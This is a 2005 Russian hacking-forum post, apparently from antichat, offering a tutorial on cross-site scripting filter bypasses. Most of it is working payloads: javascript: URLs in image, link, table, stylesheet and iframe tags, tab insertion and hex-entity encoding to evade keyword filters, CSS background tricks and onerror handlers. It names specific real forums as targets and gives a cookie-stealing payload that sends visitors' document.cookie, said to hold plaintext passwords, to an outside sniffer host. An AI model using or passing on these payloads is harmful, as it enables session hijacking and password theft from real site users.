Показать сообщение отдельно

Продолжение...
  #5  
Старый 16.12.2005, 05:01
Thesaurus
Banned
Регистрация: 03.12.2005
Сообщений: 22
Провел на форуме:
82546

Репутация: 30
Post Продолжение...

Для тех, кто читает эту статью, посоветую прочесть статьи Алгола для того, чтобы имея уже первоначальные детские знания, можно было читать дальше иМхо.

http://www.antichat.ru/crackchat/index.html

Я хочу привлечь ваше внимание на следующие:

Цитата:
Сообщение от Algol  
Оказалось, что в атрибуте style можно указывать URL фонового рисунка для тега. А где можно указывать URL, там можно записать и скрипт. А главное то, что фоновый рисунок загружался сам , по окончании загрузки HTML документа! Если я хотел показать алерт участникам чата, я логинился со следующим цветом:
Теперь прочтите что такое протокол,

http://www.antichat.ru/crackchat/HTTP/http.html

Цитата:
Сообщение от Algol  
Для начала, выясним для себя что такое протокол вообще. Протокол - это некоторый набор правил и ключевых знаков, предназначенный для общения устройств между собой. Он необходим для того что бы компьютеры или их части могли однозначно понять друг друга.

Протокол - язык общения компьютеров в сети.

Фактически любой набор команд можно назвать протоколом, но на практике понятие протокола применяется только к так называемым сетевым протоколам - языкам общения компьютеров в сети. Каждый протокол имеет определенное назначение и поддерживается специализированным программным обеспечением.
И конечно не мешало бы прочесть её целиком.

Где мы остановились иМхо....а да!


Ну так вот...


Иногда, закрыть параметр одного тега, кавычкой другого параметра тега - невозможно из-за хорошей фильтрации. Что делать тогда?

Есть такой вариант, который всегда забывается писателями фильтров из-за не понимания как в состоянии может работать JavaScript а главным образом - как работают браузеры и протоколы. (Они статью Алгола не читали)

Для начала расскажу информацию на разброс..

Само слово, "Browser", это существительное, (Noun) что в переводе на русский язык означает - Просматриватель. Произошло это Английское слово нашего браузера, от его глагола, (verb) - To Browse. "To Browse", по Английски означает - Просматривать, просмотреть.

Код HTML:
<img src="http://www.wj.gif">
Если слова атрибутов написать не сокращенно, то мы получим "image source".
"image" Это в переводе с Английского слова на Русский, означает - Изображение.
Слово, "source", это переводится как - Источник.




После статьи Алгола про протоколы, вам станет ясно, что если в параметр тега ссылки,

Код HTML:
<a href="http://www.wj.com">wj</a>
Указать,

Цитата:
javascript:alert(/wj/)
Написав вот так.

Код HTML:
<a href="javascript:alert(/wj/)">wj1</a>
То при клики юзера на имя ссылки, "wj", у юзера выскочит алёрт.

Ну это при щелкании пользователя выскочит алёрт....а возможно ли это сделать так, чтобы это было автоматически вы меня спросите? =)

Конечно можно Я отвечу =) ...просто тег ссылки, заменим на тег картинки.


Код HTML:
<img src="javascript:window.alert(/wj/)">
Или чуток по короче:

Код HTML:
<img src="javascript:alert(/wj/)">

Ну и сейчас хлынут массовые вопросы типа:

А почему строка

Код HTML:
<img src="javascript:alert(/wj/)">
работает только в ИЕ и в Опере?

А вообще почему легендарный так сказать код Алгола,

Цитата:
Style=background:url(javascript:alert('wj'))
не работает даже в Опере?!....

Ответ,





















Работает во всех браузерах, но об этом чуток потом. А вообще кто вам всем сказал такие глупости? Да и вообще Я удивляюсь, что за 5 лет, на античате, НИКТО не додумался дописать Алголовский код ну, ХОТЯ-БЫ для Оперы! Очевидно, что никто ничего не понимал, а просто делал copy/paste.

Ну начну с самого начала что-ли тогда.....



Сам код,

Код HTML:
<img src="javascript:alert(/wj/)">
Работает не только в ИЕ и в Опере, но в и в браузере Фаерфокс, однако просто напросто происходит фильтрация и пользователь мануально должен кликнуть на не отобразившуюся картинку, чтобы у него выскочил алерт.

Приведу кусок объяснения JavaScript консоль, которая находится в разделе "Инструменты". (В самом верху браузера)

Цитата:
Error: uncaught exception: Permission denied to get property Window.alert
Перевожу,


Цитата:
Ошибка: Не выполненное исключение: Разрешение отказано получить свойство Window.alert
Хотя

Код HTML:
<a href="javascript:alert(/wj/)">wj</a>
При клики пользователя на имя ссылки, алерт будет работать во всех трех ведущих браузерах. ИЕ, Опера и Фаерфокс.

Или вот ещё одна цитата,

Цитата:
Attempt to load a javascript: URL from one host
in a window displaying content from another host
was blocked by the security manager.
Так вот, в Фаефокс, уже встроена маленькая защита от таких видов атак. В ИЕ кстати, она теперь тоже есть, но только работает на localhost.

Как её отключить?

Описываю по Английски,

Идете в раздел, "Tools", потом в раздел, "Advanced", и в самом низу, вы увидите, "Security", теперь вы увидите "Allow active content to run in files on My Computer" поставьте сюда галку.

Если она у вас отключена по умолчанию, и вы её включите, то почти все автоматические скрипты теперь будут браузером ИЕ - блокироваться. (Однако только на localhost!) В фаерфоксе как уже сказал, этот метод защиты стоит по умолчании и его даже отключить нельзя.

А теперь продолжим нашу статью.


Уже понятно, что если в ББ кодах картинки тега, вписать следующие:

Код HTML:
[img]javascript:alert(/wj/).gif[/img]
То в результате, мы получим обработанный ББ кодами следующий результат в HTML, и у нас выскочит алёрт.

Код HTML:
<img src="javascript:alert(/wj/)">
Чтобы такого не случилось, то есть чтобы пользователь не имел возможности вливать свои команды JavaScript`a когда он посылает динамический материал который будет виден всем, многие фильтры очень умно, просто напросто сами добавляют http:// в ББ код ссылки или картинки, перед динамическим значением пользователя.

То есть, если мы на хорошо фильтрующем форуме, в ББ код картинки засунем следующий материал,

Код HTML:
[img]javascript:alert(/wj/).gif[/img]

То он обработает это вот так:

Код HTML:
<img src="http://javascript:alert(/wj/).gif">
И плакали все наши старания атаковать через этот метод....

Но некоторые фильтры вместо того, чтобы просто добавить http:// перед любым введением динамического материала пользователя, просто фильтруют слово JavaScript заклиниваясь на нем....они просто не понимают, что работает, почему что то работает и как что то работает вот и все. В итоге лечат как называется - в слепую. О как много значит понимать!!!

Ну пойдем-те дальше.

Если к примеру, на форуме XXX ввести следующие значение,

Код HTML:
[img]javascript:alert(/wj/).gif[/img]
То форум поставит слеш, в середине слеша две звездочки, а потом эти две звездочки закроются другим слешом. В результате он выдаст вот такую конструкцию:

Код HTML:
<img src="java/**/script:alert(/wj/)">
Конструкция /**/ это тоже самое (Образно говоря, конечно не совсем так, так как это зависит чисто от ситуации. Это вообще то даже не пробел, а совсем другое, однако это не совсем важно иМхо.) что и пробел. То есть он просто слово JavaScript, разделил пробелом.

Код HTML:
<img src="java script:alert(/wj/)">
Да, так работать Javascript не будет....но если бы писатель фильтров форума ХХХ понимал, что собственно происходит ДО того как параметры обрабатываются, то он все таки поставил бы http:// вместо того, чтобы заклиниваться на ключевом слове JavaScript.

Когда браузер берет значение параметра, то он его до выполнения обрабатывает это мы знаем.....а теперь давайте посмотрим, что будет если перед каждым словом, мы вставим табуляцию. Давайте посмотрим как обработает это браузер.




Код HTML:
<img src="	j	a	v	a	s	c	r	i	p	t	:	a	l	e	r	t	(	/	w	j	/	)	">
Перед каждым словом, стоит табуляция. Введем мы одно, а получим в результате - другое. Наше динамическое введение в ББ код картинки, будет передано форуму, который засунет это в файл где будет скан на наш динамический ввод, не найдя ничего запретного, файл вставит это в HTML, а браузер обработает наш динамический ввод - по своему. =)))

Код HTML:
<img src="	j	a	v	a	s	c	r	i	p	t	:	a	l	e	r	t	(	/	w	j	/	)	">
Браузер как в чём не бывало, просто напросто уберет все табуляции ДО выполнения. В итоге, он выполнит следующие:

Код HTML:
javascript:alert(/wj/)
И опять таки, у нас выскочит алёрт.

Тоже самое происходит и с HTML entities DEC, HEX т.д. Браузер их обрабатывает и расшифровывает их до выполнения параметра.

Имея теперь такое новое знание, рассмотрим ещё одну фильтрацию на примере

http://forum.Xakep.ru http://forum.gameland.ru и http://forum.xyligan.ru

Ведь уже понятно, что совсем не обязательно использовать ББ коды....ведь ещё есть и персональная фотография, и аватара....они будут идти с вами куда бы не бывало и будут преданны вам каким бы хамом вы бы небыли...с кем бы вы не говорили....короче все вас могут бросить, а они с вами - вечно.

Идём в наши настройки профиля и указываем адрес в нашу аватару как:

Код HTML:
javascript:alert(/wj/)
Мы получим подтверждение, что наш профиль обновлен.

Давайте теперь заглянем в HTML.... (Ctrl+U)

Получилось следующие...

Код HTML:
<html><body><img src="java:alert(/wj/)"></body></html>
Очевидно, что файл который сканил наш динамический ввод, нашел неприятное для него и любезное для нас слово JavaScript, и нагло разделил его, а потом без нашего разрешения вырезал вторую половину...


ЧТО ЗА БЕСПРЕДЕЛ!? Вы меня спросите....спакуха, Я с вами.

А давайте посмотрим, что будет, если буквы javascript мы зашифруем ихними эквилиаторами.

Цитата:
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&# x70;&#x74;alert(/wj/)
Уже понятно что будет, наш браузер, наш динамический ввод, расшифрует перед выполнением нашего параметра и у нас выскочит алёрт.

Вот такая мы команда Я и мой браузер, Я шифрую, он расшифровывает. +)

Как написать сниффер?

Цитата:
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&# x70;&#x74;:document.images[1].src='http://antichat.ru/cgi-bin/s.jpg?kezletron'+document.cookie
Вот так.


Причем форумы http://forum.Xakep.ru http://forum.gameland.ru и http://forum.xyligan.ru

Прославились тем, что они пассворд в куках пользователей - держат в открытом виде.

Теперь куки, а в них и не зашифрованный пароль в открытом виде, будут приходить на публичный античатовский сниффер от всех юзеров кто пользуется браузером ИЕ и Опера, а вам только нужно будет разговаривать с собеседниками у которого браузер ИЕ или Опера - как в чём не бывало.


Используйте эту ссылку для шифровки. http://ha.ckers.org/xss.html

Эту ссылку, чтобы выучить языки, правда все на Английском.

http://www.w3schools.com/

Эту ссылку,

http://www.lookuptables.com/

Для просмотра значений ASCII (American Standard Code for Information Interchange)

Ну и продолжим нашу статью.

Собственно теперь вопрос почему код:

Код HTML:
<html><body>
<span style="background:url(javascript:alert(/wj/));">wj</span>
</body></html>
Или,

Код HTML:
<html><body>
<span style="background-image:url(javascript:alert(/wj/));" >wj</span>
</body></html>
Работает только в браузере ИЕ?

Во-первых, если кто не знал, это (В параметре) язык CSS, и следовательно писать надо четко и понятно, так как система ИЕ убирать ошибки программистов, не так уж и разработана в таких браузерах как Фаерфокс и Опера.

Я пришел к выводу, что ссылку надо заключать в кавычки.


Код HTML:
<html><body>
<span style="background:url('javascript:alert(/wj/)');">wj</span>
</body></html>
Или,

Код HTML:
<html><body>
<span style="background-image:url('javascript:alert(/wj/)');" >wj</span>
</body></html>
Или,

Код HTML:
<html><body>
<span style="display:none;background:url('javascript:eval((this.wj1));wj1=alert(/wj2/);') ">
</body></html>
И теперь все, и везде - работает. Во всех трех браузерах.

Однако только потому что теперь Алголовский од работает во всех трех браузерах, совсем не означает, что фаерфокс эту атаку не от-блокируют.

Для начала, выложу то, что работает в ИЕ и Опере:

Код HTML:
<html><body>
<table width="100%" background="javascript:alert('wj')">
</body></html>
Или,

Код HTML:
<html><body>
<table cellpadding="0" background="javascript:alert('wj')">
</body></html>
Ибо как только мы поняли, что вместо урл можно вставлять,
Код HTML:
JavaScript:alert('wj')
То следующие действия очень понятны. Найти все, что указывает урл, (Используйте для этого следующий урл http://www.w3schools.com/ ) и вставить туда

Код HTML:
JavaScript:alert('wj')
К примеру,

Код HTML:
<html><body>
<table background="javascript:alert('wj')">
</body></html>
Ну и так далее иМхо.

Код HTML:
<html><body>
<script language="bla bla bla" type="text/bla" src="javascript:alert('wj')"></script>
</body></html>
Код HTML:
<script type="text/javascript" src="javascript:alert('wj')"></script>
Код HTML:
<html><body>
<link rel="stylesheet" type="text/css" href="javascript:alert('wj')">
</body></html>
Выскакивает алёрт в ИЕ и Опере, (Фаерфокс это блокирует, но потом покажу что он НЕ блокирует) и ни единой паливы иМхо.

Мне кажется, что ни один имейл не сможет отфильтровать то, что Я вам сегодня дал. Именно по этому Американским солдатам, ЗАПРЕЩЕНО использовать такие ящики как http://www.hotmail.com/ http://mail.yahoo.com/ и http://www.gmail.com/ ...что уже говорить у русских ящиках которые не имеют достаточно финансов, чтобы иметь защиту, ну хотя бы ПОХОЖУЮ иМхо на Америкосовские ящики ИМХО ибо Я Гений.

Но продолжим, ибо это вы и так уже знаете.

Для начала, поясню кое что для новичков,

Это,

Код HTML:
<script language="javascript">a=1;while(a>=0){alert(a);a--}</script>
Тоже самое, что и это,

Код HTML:
javascript:a=1;while(a>=0){alert(a);a--}
Где убрав угловые скобки и сократив наш скрипт до вышеприведенной строки, мы так же дали знать браузеру посредством протокола, что идет язык JavaScript.

Чуток о мылах.

Должен заметить, что иногда, проверяется или точнее сказать фильтруется на ящиках только первый параметр тега с его атрибутом...но ведь ещё есть и вспомогающие атрибуты...про них иМхо, часто писатели фильтров - забывают.

К примеру:

Код HTML:
<html><body>
<img class="inlineimg" src="javascript:alert('wj')" alt="" border="0"/>
</body></html>
А теперь давайте рассмотрим, что Фаерфокс НЕ блокирует, чисто для примера. Ибо способов уйма иМхо.

Код HTML:
<html><body>
<body onload=alert(/wj/)>
</body></html>
Код HTML:
<html><body>
<img src="" onerror=alert(/wj/) style="display:none">
</body></html>
Код HTML:
<html><body>
<img src="" onerror="javascript:alert('wj')">
</body></html>
И хоть в этой статье, http://antichat.ru/crackchat/HTML/

И говорится что цитирую:

Цитата:
<iframe src=javascript:alert('ok')> (только в IE)
Однако в фаерфкос это работает.

Код HTML:
<html><body>
<iframe src=	"javascript:eval(this.wj); wj=this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'">
</body></html>
(Использована табуляция для попытке обхода фильтров на ящиках.)

Код HTML:
<html><body>
<iframe src=	"javascript:eval(this.wj); this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'">
</body></html>
(Использована табуляция для попытке обхода фильтров на ящиках.)

Если в настройках в ИЕ, запретить active content работать в файлах на нашем компьютере, то в отличие от Фаерфоксовской защиты, которая в Фаерфоксе по умолчанию и изменить ее нельзя, обойти защиту ИЕ, которую нужно отредактировать в настройках - однако никак нельзя. Что есть существенное доказательство, что IE и ЕСТЬ самый защищенный браузер среди его конкурентов у себя на компьютере ) Просто надо правильно уметь им пользоваться. +)

В других словах ИЕ, является самым лучшим и самым защищенным браузером на сегодняшний день от атак XSS на localhost.


На этом пожалуй и окончу свою Гениальнейшую статью.


White Jordan.

Последний раз редактировалось Thesaurus; 17.12.2005 в 22:08..